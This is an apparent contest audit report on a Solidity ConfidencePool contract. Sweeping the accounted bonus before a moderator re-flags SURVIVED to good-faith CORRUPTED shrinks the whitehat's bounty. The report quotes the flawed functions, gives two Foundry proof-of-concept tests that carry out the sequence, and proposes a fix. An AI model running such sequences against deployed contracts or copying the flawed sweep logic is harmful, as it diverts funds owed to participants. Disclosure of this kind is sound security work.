Root + Impact
Description
The moderator is allowed to correct a pool outcome before value-moving claims begin. When the final outcome is good-faith CORRUPTED, the named attacker should receive a bounty equal to the pool's snapshotted eligible stake plus bonus.
However, sweepUnclaimedBonus() can move accounted bonus to recoveryAddress after an initial SURVIVED flag while intentionally leaving claimsStarted == false. The sweep decrements live totalBonus whenever either totalEligibleStake == 0 or riskWindowStart == 0. A later moderator correction to good-faith CORRUPTED re-snapshots the reduced totalBonus, so the attacker receives less bounty than the same correction would have paid without the intervening sweep.
This can happen through two closely related branches:
-
Observed-risk, zero-staker branch: the pool has observed active risk, but no live stakers remain. The sweep reserves nothing, transfers the accounted bonus, and the corrected good-faith bounty loses the swept bonus.
-
No-risk-window, live-staker branch: the registry reaches terminal CORRUPTED without the pool observing active risk, so riskWindowStart == 0. The sweep reserves staker principal only, treats the entire bonus as unowed to stakers, transfers it to recoveryAddress, and the corrected good-faith bounty loses the swept bonus.
The reflaggable moderator snapshot is written in ConfidencePool.sol::flagOutcome:
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
@> corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
}
The bonus sweep accounting is in ConfidencePool.sol::sweepUnclaimedBonus:
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
@> if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
@> if (totalEligibleStake == 0 || riskWindowStart == 0) {
@> totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
@> stakeToken.safeTransfer(recoveryAddress, amount);
}
The good-faith bounty payout is then capped by current balance in ConfidencePool.sol::claimAttackerBounty:
function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
@> if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
if (msg.sender != attacker) revert NotAttacker();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance;
if (payout > 0) {
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(attacker, payout);
}
}
Risk
Likelihood: Low
-
The path requires an initial SURVIVED flag, an open moderator correction window, and a later correction to good-faith CORRUPTED.
-
The accounted bonus must be sweepable through either totalEligibleStake == 0 or riskWindowStart == 0.
-
Once the initial SURVIVED flag exists, any account can call sweepUnclaimedBonus() before the correction.
Impact: High
-
The named good-faith attacker can receive less bonus bounty, or zero bonus bounty, even though the same bonus would be paid in a corrected good-faith CORRUPTED outcome without the intervening sweep.
-
The swept funds move to recoveryAddress, not to the public caller, but the path directly reduces the bounty owed to the named good-faith attacker. Under the contest severity matrix, direct loss of the bonus portion of a whitehat bounty with low likelihood is best classified as Medium.
Proof of Concept
The PoC files included with this report are:
ObservedRiskZeroStakerBonusSweepPoC.t.sol
ReflagSweepBonusTheftPoC.t.sol
To run it in a fresh contest checkout:
Copy both PoC files into the repository's test/ directory.
Run:
forge test --match-contract 'ObservedRiskZeroStakerBonusSweepPoC|ReflagSweepBonusTheftPoC' -vv
Expected result:
The PoCs demonstrate:
-
Observed-risk, zero-staker path: observed risk, zero live stakers, initial SURVIVED flag, public bonus sweep, corrected good-faith CORRUPTED, and zero bonus bounty.
-
No-risk-window, live-staker path: terminal CORRUPTED without observed active risk, initial SURVIVED flag, public bonus sweep, corrected good-faith CORRUPTED, and a bounty reduced by the swept bonus.
Inline PoC source (ObservedRiskZeroStakerBonusSweepPoC.t.sol):
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract ObservedRiskZeroStakerBonusSweepPoC is BaseConfidencePoolTest {
function testObservedRiskZeroStakerSweepErasesCorrectedBounty() external {
uint256 bonusAmount = 50 * ONE;
_contributeBonus(carol, bonusAmount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "risk was observed");
assertEq(pool.totalEligibleStake(), 0, "no live stakers");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.snapshotTotalBonus(), bonusAmount, "survived snapshot included bonus");
assertFalse(pool.claimsStarted(), "correction window open");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, bonusAmount, "bonus swept to recovery");
assertEq(pool.totalBonus(), 0, "live bonus accounting reduced");
assertFalse(pool.claimsStarted(), "sweep did not lock correction");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.snapshotTotalBonus(), 0, "corrected snapshot lost swept bonus");
assertEq(pool.bountyEntitlement(), 0, "attacker has no bounty left");
vm.prank(attacker);
vm.expectRevert(IConfidencePool.BountyAlreadyClaimed.selector);
pool.claimAttackerBounty();
}
}
Inline PoC source (ReflagSweepBonusTheftPoC.t.sol):
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ReflagSweepBonusTheftPoC is BaseConfidencePoolTest {
function test_sweepBetweenReflagsDrainsBounty() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_stake(bob, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 totalStaked = stakeAmount * 2;
uint256 expectedFullBounty = totalStaked + bonusAmount;
assertEq(pool.totalEligibleStake(), totalStaked, "total stake = 200e18");
assertEq(pool.totalBonus(), bonusAmount, "total bonus = 50e18");
assertEq(token.balanceOf(address(pool)), expectedFullBounty, "pool balance = 250e18");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart(), 0, "riskWindowStart must be 0 (unobserved active risk)");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "outcome = SURVIVED");
assertFalse(pool.claimsStarted(), "claimsStarted = false (re-flag window open)");
assertEq(pool.snapshotTotalBonus(), bonusAmount, "first snapshot includes full bonus");
assertEq(pool.riskWindowStart(), 0, "riskWindowStart still 0 after flag");
uint256 recoveryBalBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
uint256 bonusSwept = token.balanceOf(recovery) - recoveryBalBefore;
assertEq(bonusSwept, bonusAmount, "entire bonus (50e18) swept to recovery");
assertEq(pool.totalBonus(), 0, "totalBonus decremented to 0");
assertFalse(pool.claimsStarted(), "claimsStarted STILL false after sweep");
assertEq(token.balanceOf(address(pool)), totalStaked, "pool has only staked principal");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "outcome = CORRUPTED");
assertEq(pool.snapshotTotalBonus(), 0, "re-snapshot captures depleted totalBonus");
assertEq(pool.bountyEntitlement(), totalStaked, "bounty = stake only, bonus is LOST");
assertLt(pool.bountyEntitlement(), expectedFullBounty, "bounty < expected full bounty");
uint256 attackerBalBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 attackerPayout = token.balanceOf(attacker) - attackerBalBefore;
assertEq(attackerPayout, totalStaked, "attacker receives 200e18 (stake only)");
assertEq(token.balanceOf(address(pool)), 0, "pool is fully drained");
uint256 attackerLoss = expectedFullBounty - attackerPayout;
assertEq(attackerLoss, bonusAmount, "attacker lost exactly the bonus amount (50e18)");
assertEq(
token.balanceOf(recovery) - recoveryBalBefore,
bonusAmount,
"bonus redirected to recoveryAddress"
);
assertEq(
attackerPayout + bonusSwept,
expectedFullBounty,
"all funds distributed, but incorrectly split"
);
}
}
Recommended Mitigation
Treat an accounted bonus sweep after an outcome has been flagged as value-moving finality, or explicitly preserve corrected-good-faith bounty value while the registry is terminally CORRUPTED and the moderator can still reflag.
One possible mitigation is to close the correction window when a sweep removes accounted bonus during an open correction window:
+ uint256 accountedBonusSwept;
if (totalEligibleStake == 0 || riskWindowStart == 0) {
- totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ accountedBonusSwept = amount <= totalBonus ? amount : totalBonus;
+ totalBonus -= accountedBonusSwept;
}
+ if (!claimsStarted && outcome == PoolStates.Outcome.SURVIVED && accountedBonusSwept != 0) {
+ claimsStarted = true;
+ }
+
stakeToken.safeTransfer(recoveryAddress, amount);
Alternatively, disallow sweepUnclaimedBonus() while the live registry state is CORRUPTED and the moderator correction window remains open, or carry forward the earlier bonus snapshot when correcting SURVIVED to good-faith CORRUPTED.